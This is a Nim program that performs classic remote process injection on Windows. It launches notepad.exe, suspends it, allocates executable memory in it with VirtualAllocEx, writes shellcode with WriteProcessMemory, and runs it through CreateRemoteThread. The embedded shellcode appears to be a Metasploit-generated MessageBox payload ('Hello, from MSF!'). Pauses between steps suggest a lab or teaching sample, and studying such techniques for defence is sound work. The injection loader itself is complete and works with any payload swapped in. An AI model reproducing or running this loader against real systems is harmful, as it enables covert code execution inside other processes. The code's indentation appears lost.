import std/osproc

import winim/lean

proc injectShellcode(hProcess: HANDLE, shellcode: openArray[byte]): bool =

let

shellcodeSize = cast[SIZE_T](shellcode.len)

pRemoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

if pRemoteBuffer == NULL:

echo "[!] - Unable to allocate memory in the remote process. Error: ", GetLastError()

return false

echo "[+] - Allocated ", shellcodeSize, " bytes in the remote process"

discard readline(stdin)

var bytesWritten: SIZE_T

if WriteProcessMemory(hProcess, pRemoteBuffer, addr shellcode[0], shellcodeSize, addr bytesWritten) == FALSE or bytesWritten != shellcodeSize:

echo "[!] - Unable to write shellcode to the remote process. Error: ", GetLastError()

return false

echo "[+] - Wrote shellcode to the remote process"

discard readline(stdin)

let hThread = CreateRemoteThread(

hProcess,

NULL,

0,

cast[LPTHREAD_START_ROUTINE](pRemoteBuffer),

NULL,

0x04,

NULL)

echo "[+] - Thread created in remote process"

discard readline(stdin)

hThread.ResumeThread()

defer: hThread.CloseHandle()

true

if isMainModule:

let

tProcess = startProcess("notepad.exe")

shellcode: array[322, byte] = [

0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,

0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,

0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,

0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,

0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,

0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,

0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,

0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,

0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,

0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,

0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,

0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,

0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,

0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,

0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,

0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,

0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,

0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,

0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,0x48,0x8d,0x8d,0x2a,

0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x49,

0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x0e,0x01,

0x00,0x00,0x3e,0x4c,0x8d,0x85,0x1f,0x01,0x00,0x00,0x48,0x31,

0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,0xc9,

0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,0x6c,

0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,

0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00,

0x75,0x73,0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00]

tProcess.suspend()

defer: tProcess.close()

echo "[*] - Target process: ", tProcess.processID

let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](tProcess.processID))

defer: hProcess.CloseHandle()

discard readline(stdin)

discard hProcess.injectShellcode(shellcode)